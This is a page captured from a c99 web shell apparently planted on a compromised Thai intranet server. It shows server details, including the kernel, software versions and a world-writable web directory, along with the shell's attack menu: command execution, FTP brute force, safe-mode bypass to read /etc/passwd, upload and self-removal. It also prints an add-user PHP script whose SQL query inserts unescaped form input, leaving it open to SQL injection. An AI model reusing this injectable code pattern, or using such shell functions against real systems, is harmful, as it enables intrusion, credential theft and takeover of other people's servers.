!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/intranet/   drwxrwxrwx
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     add_user3.php (4.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
session_start
();
include_once(
'config.php');      
chkLogin();
getFullName($_SESSION[uid], $_SESSION[gid]);
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="style.css" rel="stylesheet" type="text/css">
<title>-== : ยินดีต้อนรับระบบ Intranet BCNU : ==-</title>
</head>

<body leftmargin="0" rightmargin="0" topmargin="0" bottommargin="0">
<table width="755" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td colspan="2" align="center"><?php include("header.php");?></td>
  </tr>
  <tr>
    <td colspan="2" background="images/bg_table.png" height="30"><div align="right" class="f3">
     ยินดีต้อนรับ&nbsp;&nbsp;คุณ&nbsp;<?=getFullName($_SESSION[gid]); ?>
    &nbsp;&nbsp;</div></td>
  </tr>
  <tr>
    <td width="30%" bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  
  <tr>
    <td align="center" valign="top" bgcolor="#FFEECC"><?php include("menu_admin.php");?></td>
    <td valign="top" bgcolor="#FFFFFF">
    <?php connDB();    ?>
    <?php
    
if ($submit) {
    
$pwdCrypt crypt($pwd);
    
$sql="insert into person (uid, password, prefix, fname, lname, address, email, gid) values
    ('$username','$pwdCrypt','$prefix','$fname','$lname','$address','$email','$level')"
;
    
$result=mysql_query($sql);
    echo  
"<script>alert('บันทึกข้อมูลเรียบร้อยแล้ว');window.location.href='add_user.php' ;</script>";
    } else {
      
?>
    <form action="<?=$_SERVER['PHP_SELF']?>" method="post">
    <table width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#E3F0FC">
      <tr>
        <td height="25" colspan="2"><div align="center" class="f7">Add User </div></td>
      </tr>
      <tr>
        <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">&nbsp; ชื่อเข้าระบบ&nbsp; </div></td>
        <td height="30" bgcolor="#FFFFFF"><input name="username" type="text" id="username"></td>
      </tr>
      <tr>
        <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">รหัสผ่าน&nbsp; </div></td>
        <td height="30" bgcolor="#FFFFFF"><input name="pwd" type="text" id="pwd"></td>
      </tr>
      <tr>
        <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">คำนำหน้าชื่อ&nbsp; </div></td>
        <td height="30" bgcolor="#FFFFFF"><select name="prefix" id="prefix">
          <option>นาย</option>
          <option>นาง</option>
          <option>นางสาว</option>
        </select>        </td>
      </tr>
      <tr>
        <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">ชื่อ&nbsp; </div></td>
        <td height="30" bgcolor="#FFFFFF"><input name="fname" type="text" id="fname"></td>
      </tr>
      <tr>
        <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">นามสกุล&nbsp; </div></td>
        <td height="30" bgcolor="#FFFFFF"><input name="lname" type="text" id="lname"></td>
      </tr>
      <tr>
        <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">ที่อยู่&nbsp;</div></td>
        <td height="30" bgcolor="#FFFFFF"><input name="address" type="text" id="address"></td>
      </tr>
      <tr>
        <td height="30" bgcolor="#FFFFFF" class="f7"><div align="right">อี-เมลล์&nbsp;</div></td>
        <td height="30" bgcolor="#FFFFFF"><input name="email" type="text" id="email"></td>
      </tr>
      <tr>
        <td width="50%" height="30" bgcolor="#FFFFFF" class="f7"><div align="right">ระดับผู้ใช้งาน&nbsp; </div></td>
        <td width="50%" height="30" bgcolor="#FFFFFF"><select name="level" id="level">
          <option>1</option>
          <option>2</option>
          </select><span class="f6">&nbsp;&nbsp;&nbsp;1. ผู้แลระบบ  2.ผู้ใช้งานทั่วไป</span></td>
      </tr>
      <tr>
        <td height="50" colspan="2" bgcolor="#FFFFFF" align="center"><input name="submit" type="submit" id="submit" value="Add User"></td>
        </tr>     
    </table></form><? ?></td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  
  <tr>
    <td bgcolor="#FFEECC">&nbsp;</td>
    <td bgcolor="#FFFFFF">&nbsp;</td>
  </tr>
  <tr>
    <td colspan="2" align="center"><?php include("footer.php");?></td>
  </tr>
</table>
</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.014 ]--